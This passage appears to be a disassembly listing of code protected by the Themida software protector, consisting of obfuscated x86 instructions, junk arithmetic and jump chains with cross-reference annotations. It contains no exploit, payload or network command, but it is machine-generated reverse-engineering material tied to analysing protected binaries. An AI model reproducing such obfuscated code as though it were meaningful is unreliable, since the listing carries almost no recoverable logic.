ebx mov bh, 0CAh shr bh, 5 sub bh, 0C6h dec bh dec bh shr bh, 2 jmp loc_59B358 ; --------------------------------------------------------------------------- loc_59836D: ; CODE XREF: Themida_:00594672j mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A11CB ; --------------------------------------------------------------------------- loc_598383: ; CODE XREF: Themida_:005906F1j pop ebx pop ebp push 546Ch mov [esp], ecx push edi push ecx mov ecx, 6B7A7A00h mov edi, ecx jmp loc_5A0840 ; --------------------------------------------------------------------------- loc_59839B: ; CODE XREF: Themida_:005A2EC8j add esp, 4 push 712Ch mov [esp], edx sub esp, 4 mov [esp], eax push ebx push 40151CF2h pop ebx xchg edi, ebx jmp loc_59BB2E ; --------------------------------------------------------------------------- loc_5983BD: ; CODE XREF: Themida_:005A244Dj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_594D59 ; --------------------------------------------------------------------------- loc_5983CE: ; CODE XREF: Themida_:0059D648j pop eax jmp loc_5A4C49 ; --------------------------------------------------------------------------- loc_5983D4: ; CODE XREF: Themida_:0059E412j and ebp, 3733145Fh add ebp, 0CF000D0Eh mov edx, ebp pop ebp inc edx shl edx, 7 jmp loc_59E6DC ; --------------------------------------------------------------------------- loc_5983EC: ; CODE XREF: Themida_:0059E1E9j mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5983F4: ; CODE XREF: Themida_:005907D7j dec edx not edx shr edx, 2 add edx, 0DD064F09h add ebx, edx pop edx push esi mov esi, 267964C9h not esi jmp loc_59DB8A ; --------------------------------------------------------------------------- loc_598410: ; CODE XREF: Themida_:0059EBBDj add esp, 4 jmp loc_59A12C ; --------------------------------------------------------------------------- loc_59841B: ; CODE XREF: Themida_:0059E57Bj shl esi, 6 push ebx mov ebx, 38904290h and esi, ebx jmp loc_59BB5D ; --------------------------------------------------------------------------- loc_59842B: ; CODE XREF: Themida_:00599448j shl esi, 8 add esi, 24B26704h push esi jmp loc_590681 ; --------------------------------------------------------------------------- loc_59843A: ; CODE XREF: Themida_:005A1802j xchg edx, [esp] pop esp mov [esp], ebp push esi jmp loc_59BCD9 ; --------------------------------------------------------------------------- loc_598447: ; CODE XREF: Themida_:00594889j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_59416E ; --------------------------------------------------------------------------- loc_598455: ; CODE XREF: Themida_:00599AB1j add ecx, 82DFA862h add ebx, ecx jmp loc_5A08A8 ; --------------------------------------------------------------------------- loc_598462: ; CODE XREF: Themida_:0059F43Cj sub ebx, 302B61B4h pop ecx sub edx, ebx pop ebx jmp loc_5A480F ; --------------------------------------------------------------------------- loc_598471: ; CODE XREF: Themida_:00597328j push edx jmp loc_59A7A1 ; --------------------------------------------------------------------------- loc_598477: ; CODE XREF: Themida_:005991E5j mov eax, 3C7B6DA6h sub esi, eax pop eax jmp loc_5A3C7B ; --------------------------------------------------------------------------- loc_598484: ; CODE XREF: Themida_:00590A61j mov [esp], ebx mov ebx, 2A047178h push edx jmp loc_5A0DE1 ; --------------------------------------------------------------------------- loc_598492: ; CODE XREF: Themida_:005A293Ej or edi, ebx jmp loc_5A4A0B ; --------------------------------------------------------------------------- loc_598499: ; CODE XREF: Themida_:0059D889j or esi, ebp pop ebp sub esi, 682E4FC5h or esi, 50D35888h xor esi, 0D0D6FA37h add ecx, esi pop esi push ebp push 9F9C2889h pop ebp add ecx, ebp pop ebp sub eax, ecx pop ecx sub eax, 0C563B5D7h add ebx, eax mov eax, [esp] jmp loc_5A1D04 ; --------------------------------------------------------------------------- loc_5984CD: ; CODE XREF: Themida_:005A1780j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_59098B ; --------------------------------------------------------------------------- loc_5984E1: ; CODE XREF: Themida_:00599DD4j inc eax jmp loc_594229 ; --------------------------------------------------------------------------- loc_5984E7: ; CODE XREF: Themida_:005A4BBEj and ecx, 1CCC4D9Ch push edi mov edi, 78D719B8h add ecx, edi pop edi dec ecx xor ecx, 911F1DB3h add edx, ecx pop ecx jmp loc_597949 ; --------------------------------------------------------------------------- loc_598505: ; CODE XREF: Themida_:005A0EFBj sub ebp, 0CEAAD356h add esi, ebp jmp loc_593353 ; --------------------------------------------------------------------------- loc_598512: ; CODE XREF: Themida_:00597A68j mov [esp], ebp add dword ptr [esp], 2D3E3B5Ah mov esi, [esp] jmp loc_599AEE ; --------------------------------------------------------------------------- loc_598524: ; CODE XREF: Themida_:0059DEC1j or bh, 8Ch not bh xor bh, 0CFh jmp loc_59E7F0 ; --------------------------------------------------------------------------- loc_598531: ; CODE XREF: Themida_:00596E7Aj push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 jmp loc_5A071D ; --------------------------------------------------------------------------- loc_598545: ; CODE XREF: Themida_:005A20DBj inc dword ptr [esp] pop esi add esi, 0DA46D300h and eax, esi push dword ptr [esp] mov esi, [esp] push 64B4h mov [esp], edi push esp mov edi, [esp] add esp, 4 push ecx mov ecx, 2779524Fh jmp loc_5A50D1 ; --------------------------------------------------------------------------- loc_598574: ; CODE XREF: Themida_:005A17C6j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_59D711 ; --------------------------------------------------------------------------- loc_598587: ; CODE XREF: Themida_:0059150Dj xor dl, ah mov ax, [esp] add esp, 2 shl dl, 3 jmp loc_5A27BA ; --------------------------------------------------------------------------- loc_598598: ; CODE XREF: Themida_:005936E3j push eax jmp loc_5A49F3 ; --------------------------------------------------------------------------- loc_59859E: ; CODE XREF: Themida_:005A4414j pop esp mov [esp], esi push 725Eh jmp loc_59D04B ; --------------------------------------------------------------------------- loc_5985AC: ; CODE XREF: Themida_:00594A11j mov [esp], edx push 7D22h mov [esp], eax push dword ptr [esp] pop edx push ecx push 704h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 jmp loc_5A492E ; --------------------------------------------------------------------------- loc_5985D4: ; CODE XREF: Themida_:005932ACj pop eax mov esi, [esp] add esp, 4 jmp loc_591F2F ; --------------------------------------------------------------------------- loc_5985E0: ; CODE XREF: Themida_:00591142j neg esi xchg esi, ebx sub ebx, 48F36340h sub edi, 9467BA8h add edi, ebx sub esp, 4 jmp loc_5A1B92 ; --------------------------------------------------------------------------- loc_5985FD: ; CODE XREF: Themida_:00596085j sub eax, ecx jmp loc_590919 ; --------------------------------------------------------------------------- loc_598604: ; CODE XREF: Themida_:005A1A80j pop edx add edi, ebx mov ebx, [esp] add esp, 4 push 590Ah mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 add edi, ecx pop ecx jmp loc_5A3487 ; --------------------------------------------------------------------------- loc_59862B: ; CODE XREF: Themida_:005A26B9j mov esi, [esp] add esp, 4 xor edi, 0AEF68BB8h push edi jmp loc_598B69 ; --------------------------------------------------------------------------- loc_59863D: ; CODE XREF: Themida_:0059D12Dj push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A2965 ; --------------------------------------------------------------------------- loc_598651: ; CODE XREF: Themida_:0059186Cj mov esp, [esp] sub [edi+24h], ecx pop ecx loc_598658: ; CODE XREF: Themida_:005A298Ej sub esp, 4 mov [esp], ebx push eax push ecx push 316C3EE2h pop ecx or ecx, 45F13670h push 0 jmp loc_5A5389 ; --------------------------------------------------------------------------- loc_598676: ; CODE XREF: Themida_:00594310j add ebx, ebp pop ebp push eax push 3FA63A2Fh pop eax xor eax, 5144E5E0h add ebx, eax pop eax mov edi, ebx pop ebx xor edi, 147F85h jmp loc_594C29 ; --------------------------------------------------------------------------- loc_598696: ; CODE XREF: Themida_:005A0583j movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 jmp loc_5A2C02 ; --------------------------------------------------------------------------- push 1981h mov [esp], edx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5986B1: ; CODE XREF: Themida_:0059A54Ej sub esi, 0FFFFFFFFh shr esi, 6 jmp loc_5930AB ; --------------------------------------------------------------------------- loc_5986BF: ; CODE XREF: Themida_:0059B80Ej sub ebp, ecx pop ecx jmp loc_59E40C ; --------------------------------------------------------------------------- loc_5986C7: ; CODE XREF: Themida_:005A524Bj pop ebp push esi mov esi, esp add esi, 4 push ecx mov ecx, 49917005h add ecx, 5F242073h dec ecx sub ecx, 0FFFFFFFFh jmp loc_59F27A ; --------------------------------------------------------------------------- loc_5986E6: ; CODE XREF: Themida_:0059D282j mov esi, 3BE86D93h neg esi dec esi shr esi, 3 or esi, 512F1A4Fh sub esi, 556EA44Fh sub ebx, esi pop esi jmp loc_59B777 ; --------------------------------------------------------------------------- loc_598705: ; CODE XREF: Themida_:0059F0E6j push small 3C71h mov [esp], cx movzx cx, al push cx pushf jmp loc_59DB46 ; --------------------------------------------------------------------------- loc_598719: ; CODE XREF: Themida_:0059ED91j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp sub esp, 4 jmp loc_5A4F74 ; --------------------------------------------------------------------------- loc_59872F: ; CODE XREF: Themida_:0059E4A0j sub ecx, 4 xchg ecx, [esp] jmp loc_5A209F ; --------------------------------------------------------------------------- loc_59873D: ; CODE XREF: Themida_:005A2562j add esp, 4 push ecx mov ecx, 2695167Ah push esi mov esi, 1 sub ecx, esi pop esi sub esp, 4 jmp loc_590414 ; --------------------------------------------------------------------------- loc_59875D: ; CODE XREF: Themida_:0059EA3Cj add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] pop esp push eax jmp loc_59C9AD ; --------------------------------------------------------------------------- loc_598775: ; CODE XREF: Themida_:0059EA5Ej pop edi jmp loc_598953 ; --------------------------------------------------------------------------- loc_59877B: ; CODE XREF: Themida_:005A276Cj add ebp, esi pop esi push ebx mov ebx, 748C6DDFh not ebx jmp loc_59B89F ; --------------------------------------------------------------------------- loc_59878B: ; CODE XREF: Themida_:005969C2j mov ecx, [esp] add esp, 4 push 4491h jmp loc_5936E8 ; --------------------------------------------------------------------------- loc_59879B: ; CODE XREF: Themida_:005A5441j mov eax, ebp pop ebp not eax xor eax, 0C35DE310h sub ebp, 5AA76262h jmp loc_59B907 ; --------------------------------------------------------------------------- loc_5987B0: ; CODE XREF: Themida_:0059A79Cj add ecx, 3117316Ch mov eax, [esp] add esp, 4 push 3752h mov [esp], eax sub esp, 4 mov [esp], edi push 88430EAh pop edi or edi, 44AC5A88h jmp loc_5A2D8F ; --------------------------------------------------------------------------- loc_5987DE: ; CODE XREF: Themida_:00593E45j mov ebx, [esp] jmp loc_59E3DD ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5987EE: ; CODE XREF: Themida_:00599DB9j add edx, 8E0202D5h add eax, edx pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_598809: ; CODE XREF: Themida_:0059CAEFj mov [esp], edi mov edi, 868B3C1h push esi jmp loc_5930E5 ; --------------------------------------------------------------------------- loc_598817: ; CODE XREF: Themida_:005998DEj add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax jmp loc_597FEA ; --------------------------------------------------------------------------- loc_598829: ; CODE XREF: Themida_:00597B38j push 6BE4h mov [esp], ebp not dword ptr [esp] pop ebp add ebp, 5D573EA1h mov ecx, ebp pop ebp neg ecx push eax mov eax, 5C385A15h jmp loc_5932B1 ; --------------------------------------------------------------------------- push 4DC2h mov [esp], esp sub esp, 4 mov [esp], edx push ecx push 1E94h jmp loc_598FEC ; --------------------------------------------------------------------------- mov cx, [esp] push edx push ebx push esp pop ebx push ecx jmp loc_593504 ; --------------------------------------------------------------------------- loc_598875: ; CODE XREF: Themida_:005927E0j mov eax, [esp] add esp, 4 sub ebx, 1 push eax mov eax, 0 jmp loc_5A28A0 ; --------------------------------------------------------------------------- loc_598889: ; CODE XREF: Themida_:0059E9B1j xchg ebp, [esp] pop esp test cl, al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_598895: ; CODE XREF: Themida_:0059EB1Fj sub dl, 0 add dl, bl add dl, 0 pop bx sub dl, 0D5h sub dl, 0BDh xor ch, dl pop edx jmp loc_59683C ; --------------------------------------------------------------------------- loc_5988AD: ; CODE XREF: Themida_:0059B306j sub edi, 744C0E65h add edi, 302867ECh add edi, esi push eax mov eax, 5B0D3A74h inc eax inc eax inc eax shr eax, 7 add eax, 6A367D52h sub eax, 3AC42FDAh sub edi, eax jmp loc_5937E9 ; --------------------------------------------------------------------------- loc_5988D8: ; CODE XREF: Themida_:0059F48Cj mov esp, [esp] jmp loc_591FF6 ; --------------------------------------------------------------------------- loc_5988E0: ; CODE XREF: Themida_:00592B92j push edi mov edi, 7DCF11C3h inc edi jmp loc_5910F4 ; --------------------------------------------------------------------------- loc_5988EC: ; CODE XREF: Themida_:005907C5j mov eax, [esp] push 77AEh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_591B7D ; --------------------------------------------------------------------------- loc_598908: ; CODE XREF: Themida_:005A2958j pop esi sub esp, 4 jmp loc_598C05 ; --------------------------------------------------------------------------- loc_598914: ; CODE XREF: Themida_:005965BAj or edx, 4C947BEDh jmp loc_5A28DC ; --------------------------------------------------------------------------- loc_59891F: ; CODE XREF: Themida_:0059D246j pop ebp push 683Dh mov [esp], edx push ebp mov ebp, 2B784D60h shl ebp, 4 jmp loc_599DBE ; --------------------------------------------------------------------------- loc_598936: ; CODE XREF: Themida_:0059034Ej push small 38FEh jmp loc_592D14 ; --------------------------------------------------------------------------- loc_59893F: ; CODE XREF: Themida_:00598CE1j mov ecx, [esp] add esp, 4 xor ebx, 0E9F1FB4Ch jmp loc_59FDF6 ; --------------------------------------------------------------------------- loc_598953: ; CODE XREF: Themida_:00598776j xor ebp, ebx mov ebx, [esp] add esp, 4 add ecx, ebp jmp loc_59FB7C ; --------------------------------------------------------------------------- loc_598962: ; CODE XREF: Themida_:00594AFBj mov edx, [esp] add esp, 4 jmp loc_592E34 ; --------------------------------------------------------------------------- loc_598970: ; CODE XREF: Themida_:0059D98Dj neg ecx or ecx, 5F99620Dh xor ecx, 0EF4F8041h mov edi, ecx pop ecx jmp loc_5A2F58 ; --------------------------------------------------------------------------- loc_598986: ; CODE XREF: Themida_:005905A1j push edx push dword ptr [esp+4] jmp loc_597F94 ; --------------------------------------------------------------------------- loc_598990: ; CODE XREF: Themida_:0059EDA0j mov ecx, 24h add ecx, edi push eax jmp loc_590DDF ; --------------------------------------------------------------------------- loc_59899D: ; CODE XREF: Themida_:005959D8j xor edi, 12168CE0h jmp loc_59338C ; --------------------------------------------------------------------------- loc_5989A8: ; CODE XREF: Themida_:0059E6CBj push 73B8h mov [esp], ebx jmp loc_5A2A59 ; --------------------------------------------------------------------------- loc_5989B5: ; CODE XREF: Themida_:00597B5Cj mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], eax mov eax, 68902EBBh xor eax, 68902EBFh mov edx, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_593755 ; --------------------------------------------------------------------------- loc_5989EA: ; CODE XREF: Themida_:0059448Bj mov esi, [esp] add esp, 4 push 5531h mov [esp], ebp mov ebp, 6AA43B41h sub [esp+0Ch], ebp pop ebp jmp loc_5954FB ; --------------------------------------------------------------------------- loc_598A07: ; CODE XREF: Themida_:005A5378j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_5A4854 ; --------------------------------------------------------------------------- loc_598A19: ; CODE XREF: Themida_:005997E9j mov [esp], ecx push esp mov ecx, [esp] add esp, 4 push edx jmp loc_59F180 ; --------------------------------------------------------------------------- loc_598A29: ; CODE XREF: Themida_:005A27D4j sub edx, 97B6D3Eh inc edx add edx, 5E2F7325h push edi jmp loc_59F6D1 ; --------------------------------------------------------------------------- loc_598A3C: ; CODE XREF: Themida_:005A0344j add esp, 4 add eax, 4 xchg eax, [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx mov edx, [esp] add esp, 4 jmp loc_59E08A ; --------------------------------------------------------------------------- loc_598A6F: ; CODE XREF: Themida_:005A2A07j pop edi pop dword ptr [esp] pop esp jmp loc_5A2097 ; --------------------------------------------------------------------------- loc_598A79: ; CODE XREF: Themida_:005981D9j bt [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_598A84: ; CODE XREF: Themida_:005A4670j mov [esp], eax mov eax, 0 sub eax, 528D4177h add eax, ebx jmp loc_5A15C3 ; --------------------------------------------------------------------------- loc_598A98: ; CODE XREF: Themida_:005A49D8j mov bh, dl jmp loc_5A1523 ; --------------------------------------------------------------------------- loc_598A9F: ; CODE XREF: Themida_:005A25E4j push edi mov edi, 16810ED4h add ebp, edi pop edi push 596Eh mov [esp], edx mov edx, 6DC15ABBh jmp loc_59A735 ; --------------------------------------------------------------------------- loc_598ABA: ; CODE XREF: Themida_:0059460Fj mov ebx, 46DC420Ah push edx jmp loc_5A3D3A ; --------------------------------------------------------------------------- loc_598AC5: ; CODE XREF: Themida_:005969EBj mov ebx, 642D49C6h jmp loc_597D12 ; --------------------------------------------------------------------------- loc_598ACF: ; CODE XREF: Themida_:0059A94Fj pop esp mov ax, [esp] push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx sub ebp, 4 jmp loc_5A08D2 ; --------------------------------------------------------------------------- loc_598AE8: ; CODE XREF: Themida_:005A2543j add esi, ebx pop ebx push 0B20h mov [esp], ebp mov ebp, 6A9E2E89h shr ebp, 2 jmp loc_594D53 ; --------------------------------------------------------------------------- loc_598B00: ; CODE XREF: Themida_:00596C83j push ebp mov ebp, 42756CE2h neg ebp push edi mov edi, 3A30545Dh xor edi, 9865BF15h add ebp, edi jmp loc_593B06 ; --------------------------------------------------------------------------- loc_598B1B: ; CODE XREF: Themida_:0059510Dj add al, dl mov edx, [esp] jmp loc_593A34 ; --------------------------------------------------------------------------- loc_598B25: ; CODE XREF: Themida_:00598E31j push esp pop ecx jmp loc_5998F1 ; --------------------------------------------------------------------------- loc_598B2C: ; CODE XREF: Themida_:005936D2j add esp, 4 add ebx, 4 push edi jmp loc_59C663 ; --------------------------------------------------------------------------- loc_598B3E: ; CODE XREF: Themida_:00594624j add bl, dl pop edx jmp loc_595916 ; --------------------------------------------------------------------------- loc_598B46: ; CODE XREF: Themida_:00598EC8j add eax, 1CAE68F0h add eax, esi push ebp mov ebp, 1CAE68F0h jmp loc_5A3E36 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_5902C1 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_596CE3 ; --------------------------------------------------------------------------- loc_598B69: ; CODE XREF: Themida_:00598638j pop esi pop edi add esi, ecx pop ecx push ebx mov ebx, 75332B9Eh xor esi, ebx mov ebx, [esp] jmp loc_59F22B ; --------------------------------------------------------------------------- loc_598B7E: ; CODE XREF: Themida_:005A1433j shr al, 7 or al, 50h shr al, 7 shr al, 1 add al, 0B0h or bh, al mov eax, [esp] add esp, 4 sub bh, 0FFh push dx mov dl, 2Bh add bh, dl pop dx dec bh push edx mov dh, 0ABh xor bh, dh jmp loc_5999AD ; --------------------------------------------------------------------------- loc_598BA9: ; CODE XREF: Themida_:00590DABj sub ebx, 52695ED8h xor ebx, 24362ECDh push edi jmp loc_5963DC ; --------------------------------------------------------------------------- loc_598BBB: ; CODE XREF: Themida_:005A4CC3j mov eax, 4 jmp loc_5929B4 ; --------------------------------------------------------------------------- loc_598BC5: ; CODE XREF: Themida_:0059F157j pop ebp inc di shl di, 1 sub di, 237Ch or di, 4C77h sub di, 0CB0Ch jmp loc_590E15 ; --------------------------------------------------------------------------- loc_598BDF: ; CODE XREF: Themida_:005A1F2Dj pop eax xor edi, ecx pop ecx sub edx, 4A45411Dh add edx, edi jmp loc_59CB7F ; --------------------------------------------------------------------------- loc_598BF0: ; CODE XREF: Themida_:0059CDE2j push ecx pushf jmp loc_5A54DE ; --------------------------------------------------------------------------- loc_598BF7: ; CODE XREF: Themida_:00590F65j sub esp, 4 mov [esp], esp jmp loc_59C2F5 ; --------------------------------------------------------------------------- loc_598C05: ; CODE XREF: Themida_:0059890Fj mov [esp], ebp push 9C56F2Dh pop ebp neg ebp jmp loc_5A21CE ; --------------------------------------------------------------------------- loc_598C15: ; CODE XREF: Themida_:0059C8B5j add eax, ecx pop ecx push ebx jmp loc_5A1DB5 ; --------------------------------------------------------------------------- loc_598C1E: ; CODE XREF: Themida_:0059DED8j shl dl, 4 jmp loc_5A0AC1 ; --------------------------------------------------------------------------- loc_598C26: ; CODE XREF: Themida_:005A04A0j dec cl jmp loc_59D1C3 ; --------------------------------------------------------------------------- loc_598C2D: ; CODE XREF: Themida_:00594BD1j mov [esp], edx push esi mov esi, 654275DEh push ebp jmp loc_59C892 ; --------------------------------------------------------------------------- loc_598C3C: ; CODE XREF: Themida_:005950D2j pop edi shl edx, 6 sub edx, 0FFFFFFFFh shr edx, 6 jmp loc_593860 ; --------------------------------------------------------------------------- loc_598C4B: ; CODE XREF: Themida_:005A36DDj mov ecx, 46E54782h not ecx jmp loc_592F13 ; --------------------------------------------------------------------------- loc_598C57: ; CODE XREF: Themida_:00594B75j push edi jmp loc_597994 ; --------------------------------------------------------------------------- loc_598C5D: ; CODE XREF: Themida_:0059C433j xchg eax, ebp not eax xchg eax, ebp sub ebp, 0C2F0E5h sub edi, ebp pop ebp jmp loc_59BFDB ; --------------------------------------------------------------------------- loc_598C6F: ; CODE XREF: Themida_:0059C44Dj add edi, 4 push 5C4Dh jmp loc_5A258D ; --------------------------------------------------------------------------- loc_598C7F: ; CODE XREF: Themida_:0059D8D8j sub edx, 30FA5D34h pop ebx push 2121h mov [esp], ebp push esp jmp loc_593E13 ; --------------------------------------------------------------------------- loc_598C94: ; CODE XREF: Themida_:005970F8j add ebx, ecx push edi jmp loc_59952D ; --------------------------------------------------------------------------- loc_598C9C: ; CODE XREF: Themida_:0059CE95j mov [esp], edx push 4EBCh mov [esp], esp jmp loc_5A3B88 ; --------------------------------------------------------------------------- loc_598CAC: ; CODE XREF: Themida_:0059AACBj add esp, 4 shr ch, 4 push edx mov dl, 2Ch or ch, dl pop edx push bx mov bl, 0C7h and ch, bl pop bx push dx jmp loc_5A4285 ; --------------------------------------------------------------------------- loc_598CC7: ; CODE XREF: Themida_:00591A30j push edx mov edx, 6E993F3Bh mov ebp, edx pop edx mov ecx, ebp pop ebp add ebx, 64E97291h add ebx, ecx sub ebx, 64E97291h jmp loc_59893F ; --------------------------------------------------------------------------- loc_598CE6: ; CODE XREF: Themida_:00592F50j add eax, 249819DAh pop ebx sub eax, 0FFFFFFFFh dec eax sub eax, 29D57482h xor eax, 6CD3F51Fh jmp loc_59EAF5 ; --------------------------------------------------------------------------- db 0ACh dd offset dword_455248+14020h dd 240C8900h, 0FFD44FE9h db 0FFh ; --------------------------------------------------------------------------- loc_598D0D: ; CODE XREF: Themida_:00592B85j mov edi, [esp] add esp, 4 inc esi shl esi, 5 xor esi, 5AFF29D4h jmp loc_597BFD ; --------------------------------------------------------------------------- loc_598D25: ; CODE XREF: Themida_:0059D346j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A23F4 ; --------------------------------------------------------------------------- loc_598D36: ; CODE XREF: Themida_:00592127j mov ebx, eax pop eax push ebx pop ecx pop ebx sub edi, 4E9F711Bh push ebp jmp loc_596C88 ; --------------------------------------------------------------------------- loc_598D48: ; CODE XREF: Themida_:005A3AFEj inc eax jmp loc_5A507A ; --------------------------------------------------------------------------- loc_598D4E: ; CODE XREF: Themida_:0059FDF1j push esp pop ebx add ebx, 4 push eax jmp loc_591A35 ; --------------------------------------------------------------------------- loc_598D5C: ; CODE XREF: Themida_:005939BEj pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edx jmp loc_5A15F0 ; --------------------------------------------------------------------------- loc_598D71: ; CODE XREF: Themida_:0059535Ej pop ebx xchg ebx, edi dec edi add edi, 3FAD15B0h xor edi, 0D30FC7A8h sub eax, edi mov edi, [esp] add esp, 4 pop ebp xor ebx, eax pop small word ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_598D97: ; CODE XREF: Themida_:0059AFD4j shl ebp, 2 xor ebp, 0FB5FFF78h jmp loc_590F28 ; --------------------------------------------------------------------------- loc_598DA5: ; CODE XREF: Themida_:005A0BA5j push ebp jmp loc_5926C1 ; --------------------------------------------------------------------------- loc_598DAB: ; CODE XREF: Themida_:005A4C1Dj xor ebx, 596D7E3Eh inc ebx not ebx and ebx, 57724D1h jmp loc_59DB7F ; --------------------------------------------------------------------------- loc_598DBF: ; CODE XREF: Themida_:0059D59Ej xor ebp, edx pop edx jmp loc_591F63 ; --------------------------------------------------------------------------- loc_598DC7: ; CODE XREF: Themida_:0059078Cj add ebx, 1601C13h add ebx, edi sub ebx, 1601C13h jmp loc_5A1964 ; --------------------------------------------------------------------------- loc_598DDA: ; CODE XREF: Themida_:0059E873j add ebx, 4 jmp loc_59D6CA ; --------------------------------------------------------------------------- loc_598DE2: ; CODE XREF: Themida_:005A4FCBj sub ecx, 1EAF1EE3h and ecx, 6A5A2E72h jmp loc_59D2DF ; --------------------------------------------------------------------------- loc_598DF3: ; CODE XREF: Themida_:00590CB6j or bl, 0Ch dec bl add bl, 12h push edx mov dh, 0A7h jmp loc_597AA6 ; --------------------------------------------------------------------------- loc_598E03: ; CODE XREF: Themida_:0059114Fj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push edx mov edx, 3CDF06A1h mov ebp, 3CDF06A5h xor ebp, edx pop edx jmp loc_5969EA ; --------------------------------------------------------------------------- loc_598E20: ; CODE XREF: Themida_:00594E2Cj add edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] push 5484h mov [esp], ecx jmp loc_598B25 ; --------------------------------------------------------------------------- loc_598E36: ; CODE XREF: Themida_:0059BF56j add ebx, 6AFB55E2h add ebx, 524D8037h xor ebp, ebx pop ebx jmp loc_5941A7 ; --------------------------------------------------------------------------- loc_598E4A: ; CODE XREF: Themida_:005936EBj push ebp jmp loc_5A1E06 ; --------------------------------------------------------------------------- loc_598E50: ; CODE XREF: Themida_:005A2234j push ebx sub esp, 4 jmp loc_5A19E2 ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: Themida_:00598079j xor ebp, 47C69D3Fh sub edi, ebp pop ebp jmp loc_5A4235 ; --------------------------------------------------------------------------- lodsw xor ax, bx push 1CA1h mov [esp], ebx mov ebx, esp jmp loc_596700 ; --------------------------------------------------------------------------- loc_598E7E: ; CODE XREF: Themida_:005A367Fj push esp pop ebp sub esp, 4 mov [esp], esi mov esi, 4 add ebp, esi mov esi, [esp] add esp, 4 jmp loc_598ED5 ; --------------------------------------------------------------------------- loc_598E9E: ; CODE XREF: Themida_:0059E31Dj pop ecx mov dh, bl mov ebx, [esp] add esp, 4 jmp loc_59BA60 ; --------------------------------------------------------------------------- loc_598EAF: ; CODE XREF: Themida_:0059C3D4j add al, bl jmp loc_594B98 ; --------------------------------------------------------------------------- loc_598EB6: ; CODE XREF: Themida_:0059DFB1j mov [esp], eax mov eax, esp push 1680h mov [esp], esi mov esi, 4 jmp loc_598B46 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_59BD14 ; --------------------------------------------------------------------------- loc_598ED5: ; CODE XREF: Themida_:00598E99j sub ebp, 4 xor ebp, [esp] jmp loc_5A271D ; --------------------------------------------------------------------------- loc_598EE3: ; CODE XREF: Themida_:005971E1j xor ebx, 7E537D50h sub edi, 0C4D1CC1h sub edi, ebx add edi, 0C4D1CC1h pop ebx and eax, edi jmp loc_59FC6D ; --------------------------------------------------------------------------- loc_598EFF: ; CODE XREF: Themida_:0059F570j mov ebx, [esp] add esp, 4 jmp loc_59D287 ; --------------------------------------------------------------------------- loc_598F0D: ; CODE XREF: Themida_:005912D5j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push esp jmp loc_5921F9 ; --------------------------------------------------------------------------- loc_598F27: ; CODE XREF: Themida_:0059AC5Dj push ecx mov ecx, 0D10565Bh mov edx, ecx pop ecx jmp loc_592205 ; --------------------------------------------------------------------------- loc_598F35: ; CODE XREF: Themida_:0059DB23j sub ebx, 5FB106CDh xor ebx, 28F3340Ah xor ebx, 1BC56D46h or edi, ebx pop ebx add edi, 2D67C016h and ecx, edi jmp loc_5A0A6B ; --------------------------------------------------------------------------- loc_598F57: ; CODE XREF: Themida_:005A3810j mov ecx, esp push ebx mov ebx, 4EAD0EA8h inc ebx shr ebx, 7 jmp loc_591663 ; --------------------------------------------------------------------------- loc_598F68: ; CODE XREF: Themida_:005A4950j sub dword ptr [esp+4], 2A460F2Bh push dword ptr [esp] mov esi, [esp] jmp loc_599E57 ; --------------------------------------------------------------------------- loc_598F7B: ; CODE XREF: Themida_:00597538j sub ebp, 47C50260h jmp loc_59E69D ; --------------------------------------------------------------------------- loc_598F86: ; CODE XREF: Themida_:00592091j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_5945CB ; --------------------------------------------------------------------------- loc_598F97: ; CODE XREF: Themida_:0059BD9Dj xchg esi, [esp] mov esp, [esp] push 56D9h mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push 11F2h jmp loc_594C3F ; --------------------------------------------------------------------------- loc_598FB7: ; CODE XREF: Themida_:0059A045j mov eax, [esp] push esi push esp jmp loc_599B2A ; --------------------------------------------------------------------------- loc_598FC1: ; CODE XREF: Themida_:0059160Bj pop edi add esi, 0C434DC9h and esi, 382B6BF2h add esi, 1 jmp loc_594B5E ; 